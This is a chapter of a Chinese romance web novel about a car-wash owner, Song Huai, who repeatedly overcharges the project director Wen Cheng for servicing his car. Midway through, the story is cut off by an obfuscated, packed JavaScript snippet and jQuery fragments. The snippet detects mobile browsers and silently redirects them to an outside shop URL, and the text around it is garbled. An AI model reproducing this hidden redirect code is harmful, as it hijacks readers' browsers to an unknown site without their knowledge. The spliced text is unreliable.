宋槐仅仅走形式，不想驳人好意，没料到温诚当正事办。
温诚发来一张表，宋槐打印出来看，生日，电话号，家庭住址，年龄以及证件照片这些基本信息，还要户口，宋槐没有这个，她来不到半年，刚能有地方容身。
她明白，又要和他打交道了。
酝酿许久给温诚发消息，“我没有户口。”靠收银台又换个姿势，迅速敲键盘，“你不是项目总监么？能不能不看户口。”
收到消息时他在开会，没解锁，直接屏保上看到的，其实户口没有完全不影响，只是那句‘你不是项目总监么？’，搞得他差点没笑出来，憋了整整三小时。
“走后门？”
那女人沉默了。
温诚继续打字，“是这个意思吧。”
三十秒...三分钟...五分钟，消息来了，她问，“可以么？”
“也行。”
“谢谢，我有空就替你洗车吧。”
流程正在进行中，不过因项目早收尾，所以各方面都慢，温诚尽可能催催。未来长达三十多天，从七月上到八月中旬，宋槐都主动往写字楼里跑，乔潭立的，其他几位同事，当然包括温诚，有时碰不上面或他很忙，她就会在洗护结束后拍好多张照片，附赠价格。
清理油膜，打蜡，更换传动皮带，更换车辆照明灯，更换火花塞，空调系统清洁...他的车被随意拆卸摆弄，零零总总花了两万多。
今天也一样。
“已更换防冻液，刹车油，共计3048，收你3000。这两个东西要经常换。”
温诚转账，三秒内必收钱。
温诚算是头脑清醒了，无论是否礼尚往来，那女人都不吃亏，她聪明得很，管你死活变着法儿赚钱，因为很多项目都是没必要的，新车保养哪需要上万。
他有些生气，乔潭立骂他有病，“人家不搭理你，你嫌她懒得拿顾客当猪宰，现在上门洗车，你说人家挣你钱？那不废话么？不挣钱找你干嘛，大冤种。既然你已经主动躺案板上了，就别怪人家宰你。”
话糙理不糙。
算了，温诚不想因为几万块跟她计较，那张脸令他不适。
但人心气儿不顺，势必找地方发泄，起因是车副驾那块儿玻璃被她割下来，准备换，没适配现货，温诚最近只能打车。
为避开早晚高峰，温诚早去晚回，在公司时间也猛增，正好查考勤，下午四点兴趣忽至再开组会，季度会，周报，案例分析。
他把自己圈在一亩三分地写方案，比如产品卖点的功能属性和其他品类区别，理性感性分析哪个占比更多，线下互动的脉冲式、连续式和起伏式哪个更适用。调研费用，设计制作，媒介购买，部门人员工资开销，甚至意外支出，全部是费用预算，要求预估精确，还得有上下浮动区间。
晚上开完会去酒吧，顺便买盒烟，薄荷味的，很淡。
乔潭立以为他最近工作压力大，才经常来酒馆泡着，又自掏腰包点了两杯短饮，玛格丽特和特干马天尼，尤其后者（extradrymartini）微量味美思，带来淡淡咸香。杯沿围雪花边，Salt-rimmed，和Sugar-rimmed。沿海城市小酒馆更新迭代迅速，一批关门，势必有更好的一批如雨后春笋般拔地而起。
“这杯怎么样，大后天试试别的，再好喝也别天天来，”乔潭立看调酒师制酒，雪桑隔冰器，jigger和波士顿摇酒壶，一系列操作，边看边问，“你最近愁什么呢。”
“车开不了了，玻璃被人卸了。”
酒吧是温诚喜欢的音乐酒馆，抒情爵士乐，灯光旖旎的闪，灯灭那一刻，手机屏幕亮了。
“玻璃安装完毕，打八折后共计18409，收你18000吧。”
“轮胎有些磨损，以后跑长途上路消耗刹车片，很危险，换两个米其林最新到货的吧。”
两人除了转账收款，没聊任何内容，温诚从来不理她，表现出前所未有的冷淡。
好久之后温诚质问宋槐，捏着她的下巴，问她是不是利用他赚钱呢。
宋槐嘴角一点点扬上去，一点不避讳的点点头，她说，我那会儿很困难，很缺钱，哪怕地上掉一个钢镚，也要捡起来，再看看周围还有没有。
-
八月末倒也见过几次，都是在公司门口偶遇。
他真没见过厚颜无耻的冷面女人，把敲竹杠和财迷精神体现到淋漓尽致。
21世纪的一线城市，繁华商圈里的写字楼，当所有人手里拿着咖啡和手机时，他列表里那位另类的人，拿的是伸缩水桶和清洗工具，她会和保安打招呼，克制礼貌的笑笑。
八月末，连雨季，三十度的天，她基本都穿白短袖，圆领，有些皱，大概穿得很旧了，肩膀经常有雨点子，显得整个人清癯孑孓，甚至算狼狈。
宋槐过门禁系统时侧身，眼神始终放在地面，和温诚正面相迎。
她眼下有些泛青，这几天加班加点的洗车，睡眠不足，路过时，眼睛不曾看他，随口问候，“早上好。”而后背影消匿于人群。
声音太小，不是胆怯，而是不经意，温诚回想很久，才琢磨明白她到底在说什么。
除去穿着打扮还有两点原因另类，第一是气味，其他人要么喷香水要么有咖啡香，而宋槐却一身杂糅了清洁剂和火锅味。第二是神色，虽然脸上都疲态尽显，但她总藏着鼓劲儿，类似于月季枝干上的刺，不显眼，却尖锐，靠近能扎出血。
不是玫瑰花。
是再普通不过的红色月季，枝干弯曲蔓延，不笔挺，花瓣小气花蕊无香，你看它烦，却偏偏路边到处都是。
某天下午又碰面，温诚看到宋槐身后跟着那小孩儿，陡然想起来，那表格里写着，她叫崔宣，不姓宋，当时他也没注意，却在次日晚上耗时三分钟思考。
他工作忙完，给宋槐发信息，问她你妹妹姓氏怎么和你不一样？确定是监护人？
后面那句是附加问题，主要在意前面那个。
宋槐回他，“表姐妹关系，有什么问题么？这几年都是我看她长大的，不是监护人是不是不能办手续。”
第二条，“不行的话麻烦您通融。”
“再走一次后门？”温诚勾起嘴角，靠转椅上等消息。
“可以么？实在不行我自己想办法。”
“也行。”
根本没什么不行的，她也无需那样客气，但温诚却没有纠偏，他觉得有意思，她的说话方式，她这个人，她的认真仔细都有意思。
他们终于聊了几句‘题外话’，出乎温诚意料，他并不抵触和她交流。
-
人在累极或许会失眠，宋槐半夜两点入睡，凌晨四点起来一次，拉开窗帘朝外望去，如墨夜空还未消散，清白光束已经浮现，昏朦暗淡的黑白交界，望海昼长夜短，尤其是夏天。
那么冬天应该不会很冷，不用买羽绒服，宋槐和温诚同样讨厌羽绒服，前者因为很贵，动辄几百，上千那就更别考虑。
后者原因稍显娇气，温诚认为羽绒服笨重，宽大，再贵的牌子版型都不美观，穿上像只笨手笨脚的企鹅。他喜欢便捷的，同时还要养眼美观，比如夹克，西装，轻薄冲锋衣，登山服，长款短款风衣，羊绒外套，呢子大衣，马丁靴。
宋槐硬生生熬到七点半，给火锅店和旁边汽配店开门，门外有块儿木质招牌，前后翻面，就变成正在营业中。
她上阁楼简单洗漱，去对面便利店买早饭，肉包和豆浆，带回来叫妹妹起床，小孩儿永远睡不醒，依旧有起床气，躺沙发上哭闹。
“快起，我再说一遍。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054582|149140||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>还哭，不管用。
宋槐气极反笑，窸窸窣窣解开塑料袋，掰一块包子凑妹妹鼻子前。
“饿么？有包子。”
终于不哭了，乖乖坐起来啃，边吃边哽咽着抹泪，五岁不到的小孩子，果然是没心没肺。
宋槐若有所思的看了她一会儿，才靠在厨房灶台前吃早饭，两三口解决，味儿没尝出来就咽下。
宋槐不记得她小时候什么样，只清楚自己五岁那年，个头还没家里椅子高，瘦得像没熟的豆芽菜，皮肤白，有雀斑，明显缺乏营养。她饿了开始爬高上低，挑拣厨房所有能进嘴的，有次把酵母当白糖，吃到嘴里特别苦，没个把小时就头晕肚胀，哭喊着跳起来开门，最后邻居打了120。
去医院后宋妍第二天过去看她，未闻其人，先闻着烟酒气，再听见尖锐的声音，“让你不听话，你是野狗么？啊？有东西就吃！”话音刚落抬手就打，重重一下。
所以喝酒后人都会很疯狂。
宋槐莫名又想到温诚，眉头不经意皱了下。
接着中午去火锅店吃面时，和孟衫闲聊起来，“我不喜欢别人喝酒。”
孟衫就把菜单往桌上一拍，对宋槐说，“你可以试着喝一点，我们东北人儿酒量都好，听有些人说那广东更是对瓶吹，前几天你衫姐我小酌几杯，然后一路狂奔到幼儿园，冲进领导办公室就喊，去你妈的，什么狗屁地方还挑三拣四，不是老娘被辞，是你被我抛弃了！这么盼老娘生孩子，那成，下辈子转世投胎丫的都是我儿子！”
宋槐很佩服像孟衫这样情绪外放的人，她什么事儿都藏心里，不显山，不露水，大喜大悲都面无表情。
但孟衫还是告诉她，“别看我说的挺滑稽，但难受也是真的。”
纷纭众生，活着很累，人情冷暖，酸涩自知。
人不能决定出身，但双手腿脚长在自己身上，一切都是未知，宋槐拼尽全力摆脱过去，不止一次站在阁楼卫生间镜子前，仔仔细细打量那张脸。宋妍确实给她一副好皮囊，母女俩眉眼相似，眼头尖锐，长形杏眼，双眼皮较宽，眼下卧蚕明显，放宋妍身上是妩媚，搁她这里成了清冷。
半上午宋槐来不及碰手机，不停出入车库。
九月中秋即将到来，火锅店客流量增加，宋槐帮季鹏飞搬冷冻车运回的牛羊肉，两家店来回跑，晚上十二点关门，一天眨眼就过去，宋槐拉下卷帘门，检查锁好了没，这才能坐下看手机。
有人问她，你们店最多能跑多远，鼓楼街可以不？宋槐看看地图，很远，从南城到北城，不过那车主说加小费，她就同意。
消息栏最顶头，是温诚刚发来的，他问，
“上次换的什么轮胎？”
宋槐不记得，只能查查货单，她这没记录，因为聊完就删掉了。
正好阿金推门进来，说电瓶刚充满电，下午可以骑出去，宋槐点点头，和他一起清货，然后就忘记告诉温诚到底什么牌子，直到吃过午饭才想起来，翻了好多消息，看到温诚给自己发了一张图，是汽车爆胎的图。
宋槐心突突的跳，给温诚打过去电话，后来又挂断，怕他在开会。
可不消片刻电话打回来。
那边很安静，温诚说，“宋槐。”声音很沉，明显生气了。
他刚从会议室走出来，站风口等这奸商开口，现在对方不说话，他耐不住教训她，
“你什么意思，轮胎就是这么换的？”
“竞驰CUP2，给你查到了。可能是昼夜温差大，或者那个轮胎和轮圈密封性不合格。”宋槐说。
就这种平平的语气，温诚心里一下着火了，原本那点滋生的恻隐消散无踪。
“你说怎么办吧，自己上门给我修，我告诉你宋槐，因为你我已经连续半个月上下班没车开，你严重影响到我的正常生活！”